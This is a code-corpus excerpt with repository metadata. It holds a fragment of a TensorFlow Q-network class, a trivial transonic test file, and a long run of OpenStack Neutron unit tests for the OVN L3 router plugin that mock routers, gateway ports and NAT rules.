activation=tf.nn.relu) self.reshape = tf.reshape(self.conv3, [-1, 7 * 7 * 64]) self.dense_3 = tf.layers.dense(inputs=self.reshape, units=512, activation=tf.nn.relu) self.Q = tf.layers.dense(inputs=self.dense_3, units=self.output_size, activation=None) self.scope = tf.get_variable_scope().name def get_variables(self): return tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, self.scope) def get_trainable_variables(self): return tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.scope)

61.43956

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822

5,591

4.381995

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0.772071

0.721544

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0.195135

5,591

90

157

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0.27027

0

null

0

1

0

null

0

6

ed4cf79b68807c6e6f762cc39a4b1615dc109854

82

py

Python

data_tests/saved__backend__py3.9/pythran/no_arg.py

fluiddyn/transonic

a460e9f6d1139f79b668cb3306d1e8a7e190b72d

[ "BSD-3-Clause" ]

88

2019-01-08T16:39:08.000Z

2022-02-06T14:19:23.000Z

data_tests/saved__backend__/pythran/no_arg.py

fluiddyn/transonic

a460e9f6d1139f79b668cb3306d1e8a7e190b72d

[ "BSD-3-Clause" ]

13

2019-06-20T15:53:10.000Z

2021-02-09T11:03:29.000Z

data_tests/saved__backend__/pythran/no_arg.py

fluiddyn/transonic

a460e9f6d1139f79b668cb3306d1e8a7e190b72d

[ "BSD-3-Clause" ]

1

2019-11-05T03:03:14.000Z

def func(): return 1 def func2(): return 1 __transonic__ = ("0.3.0",)

8.2

26

0.54878

12

82

3.416667

0.666667

0.341463

0

0.101695

0.280488

82

9

27

9.111111

0.59322

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0.4

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0.4

false

0

0.4

0.8

0

1

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null

1

0

1

0

null

0

1

0

1

0

6

ed5030f823aceb7a09b2a0cb64a3f23db44d69e7

83,760

py

Python

neutron/tests/unit/services/ovn_l3/test_plugin.py

huiweics/neutron

8c7ca776d8cbe967a8bbe773ab38c361414a7068

[ "Apache-2.0" ]

null

neutron/tests/unit/services/ovn_l3/test_plugin.py

huiweics/neutron

8c7ca776d8cbe967a8bbe773ab38c361414a7068

[ "Apache-2.0" ]

null

neutron/tests/unit/services/ovn_l3/test_plugin.py

huiweics/neutron

8c7ca776d8cbe967a8bbe773ab38c361414a7068

[ "Apache-2.0" ]

null

# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # import copy import mock from neutron_lib.api.definitions import external_net from neutron_lib.api.definitions import portbindings from neutron_lib.api.definitions import provider_net as pnet from neutron_lib.callbacks import events from neutron_lib.callbacks import resources from neutron_lib import constants from neutron_lib import exceptions as n_exc from neutron_lib.plugins import constants as plugin_constants from neutron_lib.plugins import directory from oslo_config import cfg from oslo_utils import uuidutils from neutron.common.ovn import constants as ovn_const from neutron.common.ovn import utils from neutron.conf.plugins.ml2.drivers.ovn import ovn_conf as config from neutron.services.revisions import revision_plugin from neutron.tests.unit.api import test_extensions from neutron.tests.unit.extensions import test_extraroute from neutron.tests.unit.extensions import test_l3 from neutron.tests.unit.extensions import test_l3_ext_gw_mode as test_l3_gw from neutron.tests.unit import fake_resources from neutron.tests.unit.plugins.ml2 import test_plugin as test_mech_driver # TODO(mjozefcz): Find out a way to not inherit from # Ml2PluginV2TestCase. class TestOVNL3RouterPlugin(test_mech_driver.Ml2PluginV2TestCase): l3_plugin = 'neutron.services.ovn_l3.plugin.OVNL3RouterPlugin' def _start_mock(self, path, return_value, new_callable=None): patcher = mock.patch(path, return_value=return_value, new_callable=new_callable) patch = patcher.start() self.addCleanup(patcher.stop) return patch def setUp(self): super(TestOVNL3RouterPlugin, self).setUp() revision_plugin.RevisionPlugin() network_attrs = {external_net.EXTERNAL: True, 'mtu': 1500} self.fake_network = \ fake_resources.FakeNetwork.create_one_network( attrs=network_attrs).info() self.fake_router_port = {'device_id': '', 'network_id': self.fake_network['id'], 'device_owner': 'network:router_interface', 'mac_address': 'aa:aa:aa:aa:aa:aa', 'status': constants.PORT_STATUS_ACTIVE, 'fixed_ips': [{'ip_address': '10.0.0.100', 'subnet_id': 'subnet-id'}], 'id': 'router-port-id'} self.fake_router_port_assert = { 'lrouter': 'neutron-router-id', 'mac': 'aa:aa:aa:aa:aa:aa', 'name': 'lrp-router-port-id', 'may_exist': True, 'networks': ['10.0.0.100/24'], 'options': {}, 'external_ids': { ovn_const.OVN_SUBNET_EXT_IDS_KEY: 'subnet-id', ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_NETWORK_NAME_EXT_ID_KEY: utils.ovn_name(self.fake_network['id'])}} self.fake_router_ports = [self.fake_router_port] self.fake_subnet = {'id': 'subnet-id', 'ip_version': 4, 'cidr': '10.0.0.0/24'} self.fake_router = {'id': 'router-id', 'name': 'router', 'admin_state_up': False, 'routes': [{'destination': '1.1.1.0/24', 'nexthop': '10.0.0.2'}]} self.fake_router_interface_info = { 'port_id': 'router-port-id', 'device_id': '', 'mac_address': 'aa:aa:aa:aa:aa:aa', 'subnet_id': 'subnet-id', 'subnet_ids': ['subnet-id'], 'fixed_ips': [{'ip_address': '10.0.0.100', 'subnet_id': 'subnet-id'}], 'id': 'router-port-id'} self.fake_external_fixed_ips = { 'network_id': 'ext-network-id', 'external_fixed_ips': [{'ip_address': '192.168.1.1', 'subnet_id': 'ext-subnet-id'}]} self.fake_router_with_ext_gw = { 'id': 'router-id', 'name': 'router', 'admin_state_up': True, 'external_gateway_info': self.fake_external_fixed_ips, 'gw_port_id': 'gw-port-id' } self.fake_router_without_ext_gw = { 'id': 'router-id', 'name': 'router', 'admin_state_up': True, } self.fake_ext_subnet = {'id': 'ext-subnet-id', 'ip_version': 4, 'cidr': '192.168.1.0/24', 'gateway_ip': '192.168.1.254'} self.fake_ext_gw_port = {'device_id': '', 'device_owner': 'network:router_gateway', 'fixed_ips': [{'ip_address': '192.168.1.1', 'subnet_id': 'ext-subnet-id'}], 'mac_address': '00:00:00:02:04:06', 'network_id': self.fake_network['id'], 'id': 'gw-port-id'} self.fake_ext_gw_port_assert = { 'lrouter': 'neutron-router-id', 'mac': '00:00:00:02:04:06', 'name': 'lrp-gw-port-id', 'networks': ['192.168.1.1/24'], 'may_exist': True, 'external_ids': { ovn_const.OVN_SUBNET_EXT_IDS_KEY: 'ext-subnet-id', ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_NETWORK_NAME_EXT_ID_KEY: utils.ovn_name(self.fake_network['id'])}, 'gateway_chassis': ['hv1'], 'options': {}} self.fake_floating_ip_attrs = {'floating_ip_address': '192.168.0.10', 'fixed_ip_address': '10.0.0.10'} self.fake_floating_ip = fake_resources.FakeFloatingIp.create_one_fip( attrs=self.fake_floating_ip_attrs) self.fake_floating_ip_new_attrs = { 'router_id': 'new-router-id', 'floating_ip_address': '192.168.0.10', 'fixed_ip_address': '10.10.10.10', 'port_id': 'new-port_id'} self.fake_floating_ip_new = ( fake_resources.FakeFloatingIp.create_one_fip( attrs=self.fake_floating_ip_new_attrs)) self.fake_ovn_nat_rule = ( fake_resources.FakeOvsdbRow.create_one_ovsdb_row({ 'logical_ip': self.fake_floating_ip['fixed_ip_address'], 'external_ip': self.fake_floating_ip['floating_ip_address'], 'type': 'dnat_and_snat', 'external_ids': { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip['id'], ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip['router_id'])}})) self.l3_inst = directory.get_plugin(plugin_constants.L3) self.lb_id = uuidutils.generate_uuid() self.member_subnet = {'id': 'subnet-id', 'ip_version': 4, 'cidr': '10.0.0.0/24', 'network_id': self.fake_network['id']} self.member_id = uuidutils.generate_uuid() self.member_port_id = uuidutils.generate_uuid() self.member_address = '10.0.0.10' self.member_l4_port = '80' self.member_port = { 'network_id': self.fake_network['id'], 'mac_address': 'aa:aa:aa:aa:aa:aa', 'fixed_ips': [{'ip_address': self.member_address, 'subnet_id': self.member_subnet['id']}], 'id': 'fake-port-id'} self.member_lsp = fake_resources.FakeOvsdbRow.create_one_ovsdb_row( attrs={ 'addresses': ['10.0.0.10 ff:ff:ff:ff:ff:ff'], 'uuid': self.member_port['id']}) self.listener_id = uuidutils.generate_uuid() self.pool_id = uuidutils.generate_uuid() self.ovn_lb = mock.MagicMock() self.ovn_lb.protocol = ['tcp'] self.ovn_lb.uuid = uuidutils.generate_uuid() self.member_line = ( 'member_%s_%s:%s_%s' % (self.member_id, self.member_address, self.member_l4_port, self.member_subnet['id'])) self.ovn_lb.external_ids = { ovn_const.LB_EXT_IDS_VIP_KEY: '10.22.33.4', ovn_const.LB_EXT_IDS_VIP_FIP_KEY: '123.123.123.123', ovn_const.LB_EXT_IDS_VIP_PORT_ID_KEY: 'foo_port', 'enabled': True, 'pool_%s' % self.pool_id: self.member_line, 'listener_%s' % self.listener_id: '80:pool_%s' % self.pool_id} self.lb_vip_lsp = fake_resources.FakeOvsdbRow.create_one_ovsdb_row( attrs={'external_ids': {ovn_const.OVN_PORT_NAME_EXT_ID_KEY: '%s%s' % (ovn_const.LB_VIP_PORT_PREFIX, self.ovn_lb.uuid)}, 'name': uuidutils.generate_uuid(), 'addresses': ['10.0.0.100 ff:ff:ff:ff:ff:ee'], 'uuid': uuidutils.generate_uuid()}) self.lb_network = fake_resources.FakeOvsdbRow.create_one_ovsdb_row( attrs={'load_balancer': [self.ovn_lb], 'name': 'neutron-%s' % self.fake_network['id'], 'ports': [self.lb_vip_lsp, self.member_lsp], 'uuid': self.fake_network['id']}) self.nb_idl = self._start_mock( 'neutron.services.ovn_l3.plugin.OVNL3RouterPlugin._ovn', new_callable=mock.PropertyMock, return_value=fake_resources.FakeOvsdbNbOvnIdl()) self.sb_idl = self._start_mock( 'neutron.services.ovn_l3.plugin.OVNL3RouterPlugin._sb_ovn', new_callable=mock.PropertyMock, return_value=fake_resources.FakeOvsdbSbOvnIdl()) self._start_mock( 'neutron.plugins.ml2.plugin.Ml2Plugin.get_network', return_value=self.fake_network) self._start_mock( 'neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port', return_value=self.fake_router_port) self._start_mock( 'neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet', return_value=self.fake_subnet) self._start_mock( 'neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router', return_value=self.fake_router) self._start_mock( 'neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.update_router', return_value=self.fake_router) self._start_mock( 'neutron.db.l3_db.L3_NAT_dbonly_mixin.remove_router_interface', return_value=self.fake_router_interface_info) self._start_mock( 'neutron.db.l3_db.L3_NAT_dbonly_mixin.create_router', return_value=self.fake_router_with_ext_gw) self._start_mock( 'neutron.db.l3_db.L3_NAT_dbonly_mixin.delete_router', return_value={}) self.mock_candidates = self._start_mock( 'neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client.' 'OVNClient.get_candidates_for_scheduling', return_value=[]) self.mock_schedule = self._start_mock( 'neutron.scheduler.l3_ovn_scheduler.' 'OVNGatewayLeastLoadedScheduler._schedule_gateway', return_value=['hv1']) # FIXME(lucasagomes): We shouldn't be mocking the creation of # floating IPs here, that makes the FIP to not be registered in # the standardattributes table and therefore we also need to mock # bump_revision. self._start_mock( 'neutron.db.l3_db.L3_NAT_dbonly_mixin.create_floatingip', return_value=self.fake_floating_ip) self._start_mock( 'neutron.db.ovn_revision_numbers_db.bump_revision', return_value=None) self._start_mock( 'neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip', return_value=self.fake_floating_ip) self._start_mock( 'neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client.' 'OVNClient.update_floatingip_status', return_value=None) self.bump_rev_p = self._start_mock( 'neutron.db.ovn_revision_numbers_db.bump_revision', return_value=None) self.del_rev_p = self._start_mock( 'neutron.db.ovn_revision_numbers_db.delete_revision', return_value=None) self.get_rev_p = self._start_mock( 'neutron.common.ovn.utils.get_revision_number', return_value=1) self.admin_context = mock.Mock() self.get_a_ctx_mock_p = mock.patch( 'neutron_lib.context.get_admin_context', return_value=self.admin_context) self.addCleanup(self.get_a_ctx_mock_p.stop) self.get_a_ctx_mock_p.start() self.mock_is_lb_member_fip = mock.patch( 'neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client' '.OVNClient._is_lb_member_fip', return_value=False) self.mock_is_lb_member_fip.start() @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.add_router_interface') def test_add_router_interface(self, func): router_id = 'router-id' interface_info = {'port_id': 'router-port-id'} func.return_value = self.fake_router_interface_info self.l3_inst.add_router_interface(self.context, router_id, interface_info) self.l3_inst._ovn.add_lrouter_port.assert_called_once_with( **self.fake_router_port_assert) self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'router-port-id', 'lrp-router-port-id', is_gw_port=False, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) self.bump_rev_p.assert_called_once_with( self.admin_context, self.fake_router_port, ovn_const.TYPE_ROUTER_PORTS) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.add_router_interface') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') def test_add_router_interface_update_lrouter_port(self, getp, func): router_id = 'router-id' interface_info = {'port_id': 'router-port-id'} func.return_value = {'id': router_id, 'port_id': 'router-port-id', 'subnet_id': 'subnet-id1', 'subnet_ids': ['subnet-id1'], 'fixed_ips': [ {'ip_address': '2001:db8::1', 'subnet_id': 'subnet-id1'}, {'ip_address': '2001:dba::1', 'subnet_id': 'subnet-id2'}], 'mac_address': 'aa:aa:aa:aa:aa:aa' } getp.return_value = { 'id': 'router-port-id', 'fixed_ips': [ {'ip_address': '2001:db8::1', 'subnet_id': 'subnet-id1'}, {'ip_address': '2001:dba::1', 'subnet_id': 'subnet-id2'}], 'mac_address': 'aa:aa:aa:aa:aa:aa', 'network_id': 'network-id1'} fake_rtr_intf_networks = ['2001:db8::1/24', '2001:dba::1/24'] self.l3_inst.add_router_interface(self.context, router_id, interface_info) called_args_dict = ( self.l3_inst._ovn.update_lrouter_port.call_args_list[0][1]) self.assertEqual(1, self.l3_inst._ovn.update_lrouter_port.call_count) self.assertItemsEqual(fake_rtr_intf_networks, called_args_dict.get('networks', [])) self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'router-port-id', 'lrp-router-port-id', is_gw_port=False, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') def test_remove_router_interface(self, getp): router_id = 'router-id' interface_info = {'port_id': 'router-port-id'} getp.side_effect = n_exc.PortNotFound(port_id='router-port-id') self.l3_inst.remove_router_interface( self.context, router_id, interface_info) self.l3_inst._ovn.lrp_del.assert_called_once_with( 'lrp-router-port-id', 'neutron-router-id', if_exists=True) self.del_rev_p.assert_called_once_with( self.context, 'router-port-id', ovn_const.TYPE_ROUTER_PORTS) def test_remove_router_interface_update_lrouter_port(self): router_id = 'router-id' interface_info = {'port_id': 'router-port-id'} self.l3_inst.remove_router_interface( self.context, router_id, interface_info) self.l3_inst._ovn.update_lrouter_port.assert_called_once_with( if_exists=False, name='lrp-router-port-id', ipv6_ra_configs={}, networks=['10.0.0.100/24'], options={}, external_ids={ ovn_const.OVN_SUBNET_EXT_IDS_KEY: 'subnet-id', ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_NETWORK_NAME_EXT_ID_KEY: utils.ovn_name(self.fake_network['id'])}) @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb' '.ovn_client.OVNClient._get_v4_network_of_all_router_ports') def test_update_router_admin_state_change(self, get_rps, get_r, func): router_id = 'router-id' get_r.return_value = self.fake_router new_router = self.fake_router.copy() updated_data = {'admin_state_up': True} new_router.update(updated_data) func.return_value = new_router self.l3_inst.update_router(self.context, router_id, {'router': updated_data}) self.l3_inst._ovn.update_lrouter.assert_called_once_with( 'neutron-router-id', enabled=True, external_ids={ ovn_const.OVN_GW_PORT_EXT_ID_KEY: '', ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: 'router'}) @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.' 'ovn_client.OVNClient._get_v4_network_of_all_router_ports') def test_update_router_name_change(self, get_rps, get_r, func): router_id = 'router-id' get_r.return_value = self.fake_router new_router = self.fake_router.copy() updated_data = {'name': 'test'} new_router.update(updated_data) func.return_value = new_router self.l3_inst.update_router(self.context, router_id, {'router': updated_data}) self.l3_inst._ovn.update_lrouter.assert_called_once_with( 'neutron-router-id', enabled=False, external_ids={ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: 'test', ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_GW_PORT_EXT_ID_KEY: ''}) @mock.patch.object(utils, 'get_lrouter_non_gw_routes') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_router') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb' '.ovn_client.OVNClient._get_v4_network_of_all_router_ports') def test_update_router_static_route_no_change(self, get_rps, get_r, func, mock_routes): router_id = 'router-id' get_rps.return_value = [{'device_id': '', 'device_owner': 'network:router_interface', 'mac_address': 'aa:aa:aa:aa:aa:aa', 'fixed_ips': [{'ip_address': '10.0.0.100', 'subnet_id': 'subnet-id'}], 'id': 'router-port-id'}] mock_routes.return_value = self.fake_router['routes'] update_data = {'router': {'routes': [{'destination': '1.1.1.0/24', 'nexthop': '10.0.0.2'}]}} self.l3_inst.update_router(self.context, router_id, update_data) self.assertFalse(self.l3_inst._ovn.add_static_route.called) self.assertFalse(self.l3_inst._ovn.delete_static_route.called) @mock.patch.object(utils, 'get_lrouter_non_gw_routes') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.' 'ovn_client.OVNClient._get_v4_network_of_all_router_ports') def test_update_router_static_route_change(self, get_rps, get_r, func, mock_routes): router_id = 'router-id' get_rps.return_value = [{'device_id': '', 'device_owner': 'network:router_interface', 'mac_address': 'aa:aa:aa:aa:aa:aa', 'fixed_ips': [{'ip_address': '10.0.0.100', 'subnet_id': 'subnet-id'}], 'id': 'router-port-id'}] mock_routes.return_value = self.fake_router['routes'] get_r.return_value = self.fake_router new_router = self.fake_router.copy() updated_data = {'routes': [{'destination': '2.2.2.0/24', 'nexthop': '10.0.0.3'}]} new_router.update(updated_data) func.return_value = new_router self.l3_inst.update_router(self.context, router_id, {'router': updated_data}) self.l3_inst._ovn.add_static_route.assert_called_once_with( 'neutron-router-id', ip_prefix='2.2.2.0/24', nexthop='10.0.0.3') self.l3_inst._ovn.delete_static_route.assert_called_once_with( 'neutron-router-id', ip_prefix='1.1.1.0/24', nexthop='10.0.0.2') @mock.patch.object(utils, 'get_lrouter_non_gw_routes') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.' 'ovn_client.OVNClient._get_v4_network_of_all_router_ports') def test_update_router_static_route_clear(self, get_rps, get_r, func, mock_routes): router_id = 'router-id' get_rps.return_value = [{'device_id': '', 'device_owner': 'network:router_interface', 'mac_address': 'aa:aa:aa:aa:aa:aa', 'fixed_ips': [{'ip_address': '10.0.0.100', 'subnet_id': 'subnet-id'}], 'id': 'router-port-id'}] mock_routes.return_value = self.fake_router['routes'] get_r.return_value = self.fake_router new_router = self.fake_router.copy() updated_data = {'routes': []} new_router.update(updated_data) func.return_value = new_router self.l3_inst.update_router(self.context, router_id, {'router': updated_data}) self.l3_inst._ovn.add_static_route.assert_not_called() self.l3_inst._ovn.delete_static_route.assert_called_once_with( 'neutron-router-id', ip_prefix='1.1.1.0/24', nexthop='10.0.0.2') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.' 'ovn_client.OVNClient._get_v4_network_of_all_router_ports') def test_create_router_with_ext_gw(self, get_rps, get_subnet, get_port): self.l3_inst._ovn.is_col_present.return_value = True router = {'router': {'name': 'router'}} get_subnet.return_value = self.fake_ext_subnet get_port.return_value = self.fake_ext_gw_port get_rps.return_value = self.fake_ext_subnet['cidr'] self.l3_inst.create_router(self.context, router) external_ids = {ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: 'router', ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_GW_PORT_EXT_ID_KEY: 'gw-port-id'} self.l3_inst._ovn.create_lrouter.assert_called_once_with( 'neutron-router-id', external_ids=external_ids, enabled=True, options={}) self.l3_inst._ovn.add_lrouter_port.assert_called_once_with( **self.fake_ext_gw_port_assert) expected_calls = [ mock.call('neutron-router-id', ip_prefix='0.0.0.0/0', nexthop='192.168.1.254', external_ids={ ovn_const.OVN_ROUTER_IS_EXT_GW: 'true', ovn_const.OVN_SUBNET_EXT_ID_KEY: 'ext-subnet-id'})] self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'gw-port-id', 'lrp-gw-port-id', is_gw_port=True, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) self.l3_inst._ovn.add_static_route.assert_has_calls(expected_calls) bump_rev_calls = [mock.call(self.admin_context, self.fake_ext_gw_port, ovn_const.TYPE_ROUTER_PORTS), mock.call(self.admin_context, self.fake_router_with_ext_gw, ovn_const.TYPE_ROUTERS), ] self.assertEqual(len(bump_rev_calls), self.bump_rev_p.call_count) self.bump_rev_p.assert_has_calls(bump_rev_calls, any_order=False) @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client' '.OVNClient._get_router_ports') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') def test_delete_router_with_ext_gw(self, gs, gr, gprs): gr.return_value = self.fake_router_with_ext_gw gs.return_value = self.fake_ext_subnet self.l3_inst.delete_router(self.context, 'router-id') self.l3_inst._ovn.delete_lrouter.assert_called_once_with( 'neutron-router-id') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client' '.OVNClient._get_router_ports') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.add_router_interface') def test_add_router_interface_with_gateway_set(self, ari, gr, grps, gs, gp): router_id = 'router-id' interface_info = {'port_id': 'router-port-id'} ari.return_value = self.fake_router_interface_info gr.return_value = self.fake_router_with_ext_gw gs.return_value = self.fake_subnet gp.return_value = self.fake_router_port self.l3_inst.add_router_interface(self.context, router_id, interface_info) self.l3_inst._ovn.add_lrouter_port.assert_called_once_with( **self.fake_router_port_assert) self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'router-port-id', 'lrp-router-port-id', is_gw_port=False, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', logical_ip='10.0.0.0/24', external_ip='192.168.1.1', type='snat') self.bump_rev_p.assert_called_with( self.admin_context, self.fake_router_port, ovn_const.TYPE_ROUTER_PORTS) @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client' '.OVNClient._get_router_ports') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.add_router_interface') def test_add_router_interface_with_gateway_set_and_snat_disabled( self, ari, gr, grps, gs, gp): router_id = 'router-id' interface_info = {'port_id': 'router-port-id'} ari.return_value = self.fake_router_interface_info gr.return_value = self.fake_router_with_ext_gw gr.return_value['external_gateway_info']['enable_snat'] = False gs.return_value = self.fake_subnet gp.return_value = self.fake_router_port self.l3_inst.add_router_interface(self.context, router_id, interface_info) self.l3_inst._ovn.add_lrouter_port.assert_called_once_with( **self.fake_router_port_assert) self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'router-port-id', 'lrp-router-port-id', is_gw_port=False, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_not_called() @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_network') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client' '.OVNClient._get_router_ports') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.add_router_interface') def test_add_router_interface_vlan_network(self, ari, gr, grps, gs, gp, gn): router_id = 'router-id' interface_info = {'port_id': 'router-port-id'} ari.return_value = self.fake_router_interface_info gr.return_value = self.fake_router_with_ext_gw gs.return_value = self.fake_subnet gp.return_value = self.fake_router_port # Set the type to be VLAN fake_network_vlan = self.fake_network fake_network_vlan[pnet.NETWORK_TYPE] = constants.TYPE_VLAN gn.return_value = fake_network_vlan self.l3_inst.add_router_interface(self.context, router_id, interface_info) # Make sure that the "reside-on-redirect-chassis" option was # set to the new router port fake_router_port_assert = self.fake_router_port_assert fake_router_port_assert['options'] = { 'reside-on-redirect-chassis': 'true'} self.l3_inst._ovn.add_lrouter_port.assert_called_once_with( **fake_router_port_assert) self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'router-port-id', 'lrp-router-port-id', is_gw_port=False, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', logical_ip='10.0.0.0/24', external_ip='192.168.1.1', type='snat') self.bump_rev_p.assert_called_with( self.admin_context, self.fake_router_port, ovn_const.TYPE_ROUTER_PORTS) @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') def test_remove_router_interface_with_gateway_set(self, gr, gs, gp): router_id = 'router-id' interface_info = {'port_id': 'router-port-id', 'subnet_id': 'subnet-id'} gr.return_value = self.fake_router_with_ext_gw gs.return_value = self.fake_subnet gp.side_effect = n_exc.PortNotFound(port_id='router-port-id') self.l3_inst.remove_router_interface( self.context, router_id, interface_info) self.l3_inst._ovn.lrp_del.assert_called_once_with( 'lrp-router-port-id', 'neutron-router-id', if_exists=True) self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', logical_ip='10.0.0.0/24', external_ip='192.168.1.1', type='snat') self.del_rev_p.assert_called_with( self.context, 'router-port-id', ovn_const.TYPE_ROUTER_PORTS) @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client' '.OVNClient._get_router_ports') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') def test_update_router_with_ext_gw(self, gr, ur, gs, grps, gp): self.l3_inst._ovn.is_col_present.return_value = True router = {'router': {'name': 'router'}} gr.return_value = self.fake_router_without_ext_gw ur.return_value = self.fake_router_with_ext_gw gs.side_effect = lambda ctx, sid: { 'ext-subnet-id': self.fake_ext_subnet}.get(sid, self.fake_subnet) gp.return_value = self.fake_ext_gw_port grps.return_value = self.fake_router_ports self.l3_inst.update_router(self.context, 'router-id', router) self.l3_inst._ovn.add_lrouter_port.assert_called_once_with( **self.fake_ext_gw_port_assert) self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'gw-port-id', 'lrp-gw-port-id', is_gw_port=True, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) 